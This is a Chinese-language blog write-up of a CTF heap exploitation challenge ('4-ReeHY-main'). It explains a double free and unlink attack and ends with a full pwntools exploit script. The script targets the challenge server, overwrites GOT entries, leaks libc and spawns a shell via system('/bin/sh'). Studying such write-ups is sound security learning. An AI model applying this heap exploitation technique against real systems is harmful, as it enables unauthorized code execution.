个人博客地址
http://www.darkerbox.com
欢迎大家学习交流
参考网址:
https://www.cnblogs.com/xingzherufeng/p/9885860.html#commentform
https://blog.csdn.net/seaaseesa/article/details/102907138
分析
其实此题有两种解法,一个是整型溢出,一个是double free。因为暂时只搞懂了double free,先写double free的解法
运行程序大概可以看到有五个功能,增删改查然后加一个退出。
其实查询的功能还在完善。
看看创建功能。
在删除功能上,可以看到只判断输入的数字是否小于等于4,如果小于即直接free。可以造成double free。应该还有UAF。
剩下的不多说了
利用
def welcome():
p.recvuntil('name: \n$')
p.send('Vicl1fe')
def create(index,size,content):
p.recvuntil('*********\n$')
p.send('1')
p.recvuntil('Input size\n')
p.send(str(size))
p.recvuntil('Input cun\n')
p.send(str(index))
p.recvuntil('Input content\n')
p.send(content)
def delete(index):
p.recvuntil('*********\n$')
p.send('2')
p.recvuntil('Chose one to dele\n')
p.send(str(index))
def edit(index,content):
p.recvuntil('*********\n$')
p.send('3')
p.recvuntil('to edit\n')
p.send(str(index))
p.recvuntil('the content\n')
p.send(content)
代码中需要的几个地址,p_addr的地址现在可能看不出来,等把exp全部理解之后就知道为啥是这个地址了,佩服那些大神清晰的思路
p_addr = 0x602100
free_got = elf.got['free']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
首先我们创建三个chunk。大小为0x100会分配到unsorted bin(双向链表)。
id | size | content |
---|---|---|
0 | 0x20 | /bin/sh\x00 |
1 | 0x100 | AAAAAAAA |
2 | 0x100 | BBBBBBBB |
welcome()
# chunk0
create(0,0x20,"/bin/sh\x00")
# chunk1
create(2,0x100,"AAAAAAAA")
# chunk2
create(1,0x100,"BBBBBBBB")
free掉chunk1和chunk2后,此时chunk1和chunk2应该已经合并到一块了,个人认为已经合并到top chunk中了。
delete(2)
delete(1)
然后重新创建一个chunk3,大小为chunk1+chunk2。并且在内容中构造fake_chunk。
payload = ""
payload += p64(0)
payload += p64(0x101)
payload += p64(p_addr - 0x18)
payload += p64(p_addr - 0x10)
payload += "A"*(0x100-4*8)
payload += p64(0x100)
payload += p64(0x110)
create(2,0x210,payload)
创建之前,
创建之后
delete(1)即free(chunk2)。看上图,chunk2的头已经被改变了,chunk2的size为0x110。表示上一个chunk为空闲状态,即会发生合并,则首先要将chunk1从双向链表中取出,即进行unlink操作,程序不知道chunk1是否在链表中,直接对chunk1进行unlink操作。
delete(1)
unlink操作如下,P指的是要进行unlink操作的chunk,即chunk1。
P->fd->bk = P->bk.
P->bk->fd = P->fd.
那么对照上图。可以推出如下式子,记住这是赋值操作。p_addr的值是0x602100。
0x6020e8(p_addr-0x18)->bk = 0x6020f0(p_addr - 0x10)
0x6020f0(p_addr-0x10)->fd = 0x6020e8(p_addr-0x18)
unlink之前如下图,图中的chunk0所表示的意思是chunk0->content。依次类推。
经过上面的修改后,存放chunk3->content指针被修改为0x6020e8。
如下图,经过unlink后chunk3->content被修改为0x6020e8,那么此时我们修改chunk3->content即是修改0x6020e8所指向的值,可以发现指向的是图中右上角的地方,一切都是巧合吗?不,都是经过大佬精确的计算。
payload = ""
payload += p64(1)
payload += p64(free_got)
payload += p64(1)
payload += p64(puts_got)
payload += p64(1)
edit(2,payload)
然后我们编辑chunk3,即编辑0x6020e8。chunk3在数组中的索引为2,所以edit(2,payload),
编辑之后如下图,对照payload可以看出0x602018即free_plt,0x602020即puts_plt。
此时修改chunk1->content即修改free_plt,修改chunk3->content即修改puts_plt
说明我们已经写入成功,地址没问题
那我们现在修改chunk2->content。代码如下
# 修改free的got表为puts
edit(1,p64(puts_plt))
我们修改free的got表为puts_plt。那么下次执行free函数的时候其实执行的是puts函数
修改好后,我们删除chunk3。即free(chunk3->content),实际执行的是puts(puts_got)
delete(2)
此时会输出puts函数的真实地址。
输出之后,接收地址,然后算出system的真实地址,这里可以用LibcSercher寻找libc,题目给的libc好像有问题。我这里在本地运行用的是我本地的Libc。
puts_addr = u64(p.recv(6)+"\x00"*2)
success(hex(puts_addr))
system_addr = puts_addr - libc.sym['puts'] + libc.sym['system']
算出system地址之后
再次修改chunk2->content为system真实地址,此时执行free即执行system函数
edit(1,p64(system_addr))
修改好之后,删除chunk0->content。执行的是free(chunk0->content),实际执行的是system(chunk0->content)。此时chunk0->content的值为/bin/sh\x00
。意味着我们已经拿到了shell
delete(0)
拿到shell后可以直接开启交互
p.interactive()
Exploit
需要注意的是,我这里用的是本地的Libc,因为我已经修改过程序要加载的glibc了,
我本地的libc版本比较高,有tcache,不方便调试,所以只能修改程序的加载的Libc,所以读者需要自己修改代码,用LibcSercher来获取libc基址,算出system真实地址。
#coding:utf-8
from pwn import *
# p = process("./4-ReeHY-main.glib2_23")
p = remote("220.249.52.133",39448)
elf = ELF("4-ReeHY-main.glib2_23")
libc = ELF("/usr/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6")
# libc = ELF("/usr/glibc-all-in-one/libs/2.23-0ubuntu11.2_amd64/libc.so.6")
context.log_level = "debug"
def welcome():
p.recvuntil('name: \n$')
p.send('Vicl1fe')
def create(index,size,content):
p.recvuntil('*********\n$')
p.send('1')
p.recvuntil('Input size\n')
p.send(str(size))
p.recvuntil('Input cun\n')
p.send(str(index))
p.recvuntil('Input content\n')
p.send(content)
def delete(index):
p.recvuntil('*********\n$')
p.send('2')
p.recvuntil('Chose one to dele\n')
p.send(str(index))
def edit(index,content):
p.recvuntil('*********\n$')
p.send('3')
p.recvuntil('to edit\n')
p.send(str(index))
p.recvuntil('the content\n')
p.send(content)
p_addr = 0x602100
free_got = elf.got['free']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
welcome()
# chunk0
create(0,0x20,"/bin/sh\x00")
# chunk1
create(2,0x100,"AAAAAAAA")
# chunk2
create(1,0x100,"BBBBBBBB")
delete(2)
delete(1)
payload = ""
payload += p64(0)
payload += p64(0x101)
payload += p64(p_addr - 0x18)
payload += p64(p_addr - 0x10)
payload += "A"*(0x100-4*8)
payload += p64(0x100)
payload += p64(0x110)
create(2,0x210,payload)
delete(1)
payload = ""
payload += p64(1)
payload += p64(free_got)
payload += p64(1)
payload += p64(puts_got)
payload += p64(1)
# gdb.attach(p)
edit(2,payload)
# 修改free的got表为puts
edit(1,p64(puts_plt))
delete(2)
puts_addr = u64(p.recv(6)+"\x00"*2)
success(hex(puts_addr))
system_addr = puts_addr - libc.sym['puts'] + libc.sym['system']
edit(1,p64(system_addr))
delete(0)
p.interactive()
欢迎一起学习交流,共同进步,欢迎加入信息安全小白群